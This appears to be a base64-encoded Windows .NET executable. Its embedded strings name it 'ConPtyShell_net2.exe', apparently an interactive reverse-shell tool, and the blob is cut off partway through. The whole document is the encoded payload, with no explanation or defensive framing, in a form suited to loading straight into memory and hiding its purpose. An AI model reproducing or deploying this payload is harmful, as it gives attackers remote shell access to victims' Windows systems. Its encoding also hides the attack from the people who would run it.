AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOB/AAAAAAAASAAAAAIABQDwMQAAwE0AAAEAAABcAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAKKAQAAAoTDRENKgIDKEMAAAYKBn4IAAAKKBEAAAosIxENcg0HAHByYwcAcAIPASgSAAAKKDYAAAooBAAAChMNEQ0qcr4IAHAoFAAAChIT/hUSAAACEhMRE4wSAAACKBoAAAp9aAAABBITJXtzAAAEIAABAABgfXMAAAQSEwd9dwAABBITEQR9eAAABBITEQR9eQAABBQOBH4IAAAKfggAAAoXFn4IAAAKFBITEhEoJAAABiYHfggAAAooHQAACiwHBygpAAAGJhEEfggAAAooHQAACiwIEQQoKQAABiYJBihOAAAGExQIBhIRe3oAAAQoUAAABhMVDgUsEREKLA0RD28mAAAKKEEAAAYmDgUsERELLA0REG8mAAAKKEEAAAYmEhF7egAABBUoJgAABiYOBSwREQosDREPbyYAAAooQgAABiYOBSwREQssDREQbyYAAAooQgAABiYRFG85AAAKERVvOQAACgYoPgAABiYRBhEHEQgoRwAABhEJLAYoMwAABiYSEXt7AAAEKCkAAAYmEhF7egAABCgpAAAGJhEFfggAAAooHQAACiwIEQUoLwAABiYIfggAAAooHQAACiwHCCgpAAAGJgl+CAAACigdAAAKLAcJKCkAAAYmEQ1ybwkAcCgEAAAKEw0RDSqiAnKpCQBwKB8AAAotGQJyrwkAcCgfAAAKLQwCcr0JAHAoHwAACioXKkoCjmkYLwtywwkAcHMCAAAGeipCKDoAAAp+jgAABG87AAAKKgAAEzACAB0AAAAVAAARAhIAKDwAAAotEXJ+CgBwAigEAAAKcwIAAAZ6AioAAAATMAIAHwAAABYAABEWCgISACgvAAAKLRFyygoAcAIoBAAACnMCAAAGegYqABMwAgAUAAAAFwAAER8YCgKOaRgxCQIYmihWAAAGCgYqEzACABQAAAAXAAARH1AKAo5pGTEJAhmaKFYAAAYKBioTMAIAEgAAABgAABFyFgsAcAoCjmkaMQQCGpoKBioAABMwBgB7AAAAGQAAEXI6BgBwCgKOaRczEQIWmihSAAAGLAcoVAAABitcAihTAAAGcjoGAHALFgwWDQIWmnI0CwBwbz0AAAosBBcNKxICFpooVQAABgsCF5ooVgAABgwCKFcAAAYTBAIoWAAABhMFAihZAAAGEwYHCBEEEQURBgkoUQAABgoGKi5yRAsAcICOA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QAAAACRABgMEgPDAFQqAAAAAJEALwwZA8UA0CoAAAAAkQA6DCIDxwD8KgAAAACRAF4MKQPJAGArAAAAAJEAkAwuA8oAoCsAAAAAkQCvDCkDzAAcLAAAAACRAMkMNQPNAGgsAAAAAJYA6Aw9A9AAOTAAAAAAkQAhDksD1gBiMAAAAACRAC4OUAPXAHUwAAAAAJEAOA4CA9gAiDAAAAAAkQBEDlYD2AC0MAAAAACRAFUOWwPZAOAwAAAAAJEAXg5gA9oAADEAAAAAkQBoDmAD2wAgMQAAAACRAHIOZgPcAEAxAAAAAJYAgw5mA90AxzEAAAAAkRheGAID3gDTMQAAAACRAJMOUAPeAOUxAAAAAIYY3wFCAN8AAAABAAcPAAABAFwPAAABAGQPAAACAGwPAAABAIgPAAACAJsPAAADAKcPAAAEALYPAAAFAMIPAgAGANIPAAABAOoPAAABAPcPAAABAAsQAAACABIQAAABABkQAAABABkQAAACACEQAAADAAsQAAABACoQAAABADwQAgACAE4QAAABAGEQAAACAG4QAAADAHgQAQABAIUQAQACAJ8QAQADAKoQAAAEALcQAAAFAMYQAAAGAHkNAAABAM0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWAQAFAD4WAQAGAEQWAAABAM0QAAACAEoWAAADAE8WAAABAFgWAAABAGIWAAABADwQAgACAE4QAAABAM0QAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAEsTAAABAEsTAAABAHQWAAACAH0WAAABAJAWAAACAJwWAAADAKEWAAABAPMWAAACAAEXAAADABAXAAAEAB8XAAABAC8XAAACADgXAAADAEIXAAABAC8XAAACADgXAAADAEIXAAABAEwXAAACAGAXAAADAHQXAAAEAJwWAAAFAKEWAAABAEwXAAACAIoXAAABAKcXAAACAK8XAAABAEwXAAACAK8XAAABAOoPAAABABAXAAACAJAWAAABAOoPAAABAAEXAAACAJAWAAADANoXAAABAHQWAAACAH0WAAADAJwWAAAEAKEWAAAFAK8XAAAGAOgXAAABAPsXAAABAAEYAAABAC4YAAABAEwYAAABAAEYAAABAAEYAAABAAEYAAABAFAYAAABAFAYcQDfAWwDeQDfAUIACQDfAUIAgQAWD3EDCQDfAUYAiQDfAUYAkQDfAUIAmQAGEE4AEQDfAUIAoQDfAUIAqQDfAX4DuQAgEk0CuQAtEoYDyQBdEpADuQBvEpcDQQCEEp0DmQCLEqEDwQCXEqcDgQAWD6sD2QCoErIDuQCyErcDmQC9ErwDmQDFEs0AmQDfAcADuQDOEsUDuQBvEswDmQDdEtEDmQDdEk0CmQDpEqEDuQD3EtYDgQCLEtsDgQAUEwIEQQCtA44BgQAWDwgEmQDfAWwD4QDfARwE8QDfAUIAQQCdEzEEQQCrE5MBmQC6E50DAQG6E0MEaQCmFlMEEQHGFlgEEQHQFl4EgQDfFmYEgQDlFqcDwQDqFm0EuQCVF80AgQAWD5gEuQAgErcDIQHfAXIAaQDfAccEaQDUF84EgQAUE+gEgQAUE/AEgQAUE/cEaQD1F0IA2QAgGB4FKQEoGEYAMQHqFiQFgQBVGD8FDgAEAA0ACQAQAIoACQAUAI8ACQAYAJQACQAcAJkACQAgAI8ACAAkAKEACAAoAKYACAAsAKsACABQAIoACABUAKEACABYAKYACABcACwBCABgADEBCQB4AD4BCQB8AKEACQCAAKYACQCEAEMBCQCIAKsACQCMAEgBCQCQAE0BCQCUAFIBCQCYAFcBCQCcAFwBCQCgAGEBCQCkAGYBCQCoAGsBDgBIAZ8BCQBMATEBCQBQAUMBCQBUAdgBCQBYAd0BCQBcAeIBCABgAVcBCABkAWsBCABoAaEACQBsAecBCABwAYoACQB0AewBCQB4AfEBCQB8AaEACQCAAaYACQCEAVIBCQCIASwBCACMAfYBCACQAfsBCACUAQACLgALAE4FLgATAFcFQwErAaEASwCEA1cAhANgACIEYgAmBGYAKgSOAC0EjwCEA5kAhAOpAIQD0wCEAxABIgQSASYEIwGEAwEAAAAAAAYAAQAAAAAACAB3A4sD4QP2AxAENQQ6BEgEdASDBIgEjQSSBJ4EpQSwBLoE0wTaBP4ELQUzBTcFOwVEBU8Pew8xEFYQbBHxFRcWtwQAAQcAAwIBAEABCQAPAgEAQAELACMCAgBGARsATQMDAEYBHQBYAwQARgMfAGsDAwAGASEAdQMDAEYDIwCFAwMAQAElAJEDAQBAAScAnQMBAAABKQADAgEAAAErAK0DAQAAAS0AvwMFAAABLwDNAwUAAAE7AC0IBQBAAUMAwAkBAEABRQDiCQEAQAFHALoFAQBGAUkA/AkBAEABSwALCgEAQAFNAA8CAQBAAU8AHAoBAEABUQApCgEAQAFTAAMCAQBGAVUANgoBAEYDVwBBCgEAQAFZAEwKAQBAAVsAVQoBAEABXQBfCgEAQAFfAHMKAQBAAWEAhgoBAEABYwCVCgEAAAFlAKQKAQBBAWcAsQoBAAABaQC9CgYAAAFrAMgKAQAGAW0A2QoBAEMBbwDpCgcAQgFxAGsDAwBAAXMAMQsDAEABdQA5CwMAQgF3AD8LAwAGAXkAdQMDAEYBewBNAwMARAF9AEkLAwBGAX8AVQsDAEYBgQBaCwMAAAGDAF8LBQAAAYUAcAsFAASAAAAAAAAAAAAAAAAAAAAAAPYOAAACAAAAAAAAAAAAAAABAJABAAAAAAIAAAAAAAAAAAAAAAEAmQEAAAAABAADAAYABQAHAAUACAAFAAkABQAKAAUACwAFAAwABQANAAUADgAFABEAEAASABAAEwAQABQAEAAVABAAFgAQABcAEAAAAAAAADxNb2R1bGU+AENvblB0eVNoZWxsX25ldDIuZXhlAENvblB0eVNoZWxsRXhjZXB0aW9uAERlYWRsb2NrQ2hlY2tIZWxwZXIATFBUSF